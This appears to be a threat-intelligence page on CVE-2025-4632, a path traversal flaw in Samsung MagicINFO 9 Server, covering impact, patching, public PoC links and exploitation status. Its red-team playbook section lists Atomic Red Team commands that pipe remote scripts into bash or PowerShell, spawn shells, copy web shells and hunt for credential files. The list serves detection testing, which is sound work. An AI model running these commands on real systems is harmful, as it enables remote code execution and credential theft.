CVE-2025-4632
Overview
This vulnerability is a path traversal flaw in the file upload functionality of Samsung MagicINFO 9 Server. The root cause is the improper restriction of pathname inputs, allowing directory traversal sequences to bypass intended directory confines. The affected component is the SWUpdateFileUploader servlet responsible for handling file uploads, which does not adequately sanitize the 'fileName' parameter.
Vulnerability Description
Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.
Impact
Unauthenticated attackers can exploit this flaw to write arbitrary files with system-level privileges on the server, enabling remote code execution. This allows full system compromise, including the potential to execute malicious code, disrupt services, or move laterally within the network. No user interaction or valid credentials are required, making exploitation straightforward and increasing the risk of widespread impact in affected environments.
Solution
Samsung has released a security update for MagicINFO 9 Server in version 21.1052 that addresses this vulnerability. Administrators should upgrade to version 21.1052 or later as detailed in the Samsung security advisory at https://security.samsungtv.com/securityUpdates#SVP-MAY-2025. No specific workarounds are provided; applying the official patch is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Samsung MagicINFO 9 Server arises from improper limitations on pathnames, allowing unauthorized access to restricted directories. This flaw enables attackers to write arbitrary files with system-level authority. The underlying issue stems from inadequate validation of user input when handling file paths, which can lead to directory traversal attacks. By exploiting this vulnerability, an attacker can manipulate the file system, potentially leading to the execution of malicious code or the alteration of critical system files. The severity of this vulnerability is underscored by its high CVSS score, indicating a significant risk to systems running affected versions of the software.
Attack vectors for this vulnerability are varied and can be executed through several means. An attacker could leverage a web interface or API provided by the MagicINFO 9 Server to submit crafted requests that exploit the pathname limitation flaw. For instance, by sending specially formatted input, an attacker could navigate outside the intended directory structure and gain access to sensitive files or directories. Once access is obtained, the attacker could upload malicious payloads, such as web shells or scripts, which would allow for persistent access and control over the compromised system. Additionally, this vulnerability could be exploited in conjunction with other vulnerabilities to escalate privileges further, making it a critical concern for organizations utilizing this software.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on Samsung MagicINFO for digital signage and content management. Successful exploitation could lead to unauthorized data access, data exfiltration, or even complete system compromise. Such incidents can result in significant financial losses, reputational damage, and legal repercussions, especially if sensitive customer data is involved. Furthermore, the ability to manipulate system files could disrupt business operations, leading to downtime and loss of service availability. Organizations must recognize that the implications of this vulnerability extend beyond technical concerns; they encompass broader business risks that can affect stakeholder trust and market position.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the MagicINFO 9 Server to the latest version is crucial, as software vendors typically release patches to address known vulnerabilities. Additionally, organizations should conduct thorough security assessments, including penetration testing and code reviews, to identify and remediate potential weaknesses in their systems. Implementing strict access controls and monitoring file system changes can also help detect unauthorized activities. Furthermore, employing intrusion detection systems (IDS) can provide real-time alerts on suspicious behavior, allowing for prompt incident response. Educating staff about secure coding practices and the importance of input validation can further reduce the risk of similar vulnerabilities in the future.
In conclusion, the improper limitation of pathnames in Samsung MagicINFO 9 Server represents a significant security vulnerability that poses substantial risks to organizations. The potential for unauthorized file access and system compromise necessitates immediate attention from cybersecurity professionals. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against this and similar vulnerabilities. Proactive detection and mitigation strategies are essential to safeguarding critical systems and maintaining business continuity in an increasingly threat-laden digital landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2025-4632, evidenced by the emergence of new proof-of-concept exploits publicly available on GitHub. This development signals an expansion of the exploit landscape beyond initial theoretical or limited testing phases, increasing the likelihood of opportunistic and automated attacks against vulnerable Samsung MagicINFO 9 Server instances. Our telemetry indicates that detection activity has shifted from negligible to a discernible presence, underscoring that threat actors are actively weaponizing this critical vulnerability. Although ransomware involvement remains unconfirmed, the elevated EPSS score and stable trend at a high percentile suggest sustained interest and potential for integration into broader attack campaigns. Consequently, the risk posture associated with CVE-2025-4632 has intensified, warranting heightened vigilance from defenders as exploitation attempts become more frequent and accessible.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Magicinfo 9 Server | All |
cpe:2.3:a:samsung:magicinfo_9_server:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
digitalsurgn/CVE-2025-4632_POC
This repository contains a Python replication script for CVE-2025-4632, an Unauthenticated Remote Code Execution (RCE) v...
|
digitalsurgn | 1 | 1 | 2026-05-06 | View |
|
MantisToboggan-git/CVE-2025-4632-POC
|
MantisToboggan-git | 0 | 0 | 2025-06-04 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4632 |
| security.samsungtv.com |
GitHub CVE
|
https://security.samsungtv.com/securityUpdates#SVP-MAY-2025 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-4632 |